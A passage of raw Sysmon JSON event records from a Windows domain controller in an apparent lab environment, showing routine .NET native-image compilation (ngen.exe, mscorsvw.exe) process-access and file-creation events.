12:03:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7721,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:02.542\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F6-5F2D-0000-00108AA80E00}\r\nTargetProcessId: 1392\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:02.542","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F6-5F2D-0000-00108AA80E00}","TargetProcessId":"1392","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7722,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:02.635\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F6-5F2D-0000-00101DAC0E00}\r\nTargetProcessId: 4908\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:02.635","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F6-5F2D-0000-00101DAC0E00}","TargetProcessId":"4908","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7723,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:02.635\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F6-5F2D-0000-00101DAC0E00}\r\nTargetProcessId: 4908\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:02.635","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F6-5F2D-0000-00101DAC0E00}","TargetProcessId":"4908","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7724,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:02.651\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F6-5F2D-0000-00101DAC0E00}\r\nTargetProcessId: 4908\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:02.651","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F6-5F2D-0000-00101DAC0E00}","TargetProcessId":"4908","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7725,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:02.792\r\nProcessGuid: {90617006-42F6-5F2D-0000-00101DAC0E00}\r\nProcessId: 4908\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\132c-0\\System.IdentityModel.Selectors.dll\r\nCreationUtcTime: 2020-08-07 12:03:02.792","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:02.792","ProcessGuid":"{90617006-42F6-5F2D-0000-00101DAC0E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\132c-0\\System.IdentityModel.Selectors.dll","CreationUtcTime":"2020-08-07 12:03:02.792","EventReceivedTime":"2020-08-07 12:03:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7726,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:02.838\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F6-5F2D-0000-0010B6B10E00}\r\nTargetProcessId: 1324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:02.838","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F6-5F2D-0000-0010B6B10E00}","TargetProcessId":"1324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7727,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:02.838\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F6-5F2D-0000-0010B6B10E00}\r\nTargetProcessId: 1324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:02.838","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F6-5F2D-0000-0010B6B10E00}","TargetProcessId":"1324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7728,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:02.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F6-5F2D-0000-0010B6B10E00}\r\nTargetProcessId: 1324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:02.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F6-5F2D-0000-0010B6B10E00}","TargetProcessId":"1324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7729,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:03.104\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F7-5F2D-0000-0010F4B50E00}\r\nTargetProcessId: 2584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 